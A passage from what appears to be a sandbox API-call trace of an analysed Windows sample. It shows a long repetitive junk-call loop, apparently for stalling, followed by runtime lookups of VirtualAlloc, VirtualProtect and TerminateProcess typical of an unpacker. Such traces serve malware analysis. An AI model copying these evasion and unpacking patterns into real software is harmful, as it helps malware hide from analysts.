lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.060] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.060] AddAtomA (lpString=0x0) returned 0x0 [0053.060] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.061] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.061] AddAtomA (lpString=0x0) returned 0x0 [0053.061] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.062] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.062] AddAtomA (lpString=0x0) returned 0x0 [0053.062] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.063] AddAtomA (lpString=0x0) returned 0x0 [0053.063] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.063] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.064] AddAtomA (lpString=0x0) returned 0x0 [0053.064] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.064] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.065] AddAtomA (lpString=0x0) returned 0x0 [0053.065] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.065] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.065] AddAtomA (lpString=0x0) returned 0x0 [0053.065] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.065] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.065] AddAtomA (lpString=0x0) returned 0x0 [0053.065] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.065] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.065] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.066] AddAtomA (lpString=0x0) returned 0x0 [0053.066] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.066] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.067] AddAtomA (lpString=0x0) returned 0x0 [0053.067] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.067] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.068] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.068] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.068] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.069] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.069] AddAtomA (lpString=0x0) returned 0x0 [0053.069] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.070] AddAtomA (lpString=0x0) returned 0x0 [0053.070] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.070] AddAtomA (lpString=0x0) returned 0x0 [0053.070] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.070] AddAtomA (lpString=0x0) returned 0x0 [0053.070] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.070] AddAtomA (lpString=0x0) returned 0x0 [0053.070] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.070] AddAtomA (lpString=0x0) returned 0x0 [0053.070] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.070] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.089] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.089] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.089] GetProcAddress (hModule=0x76c20000, 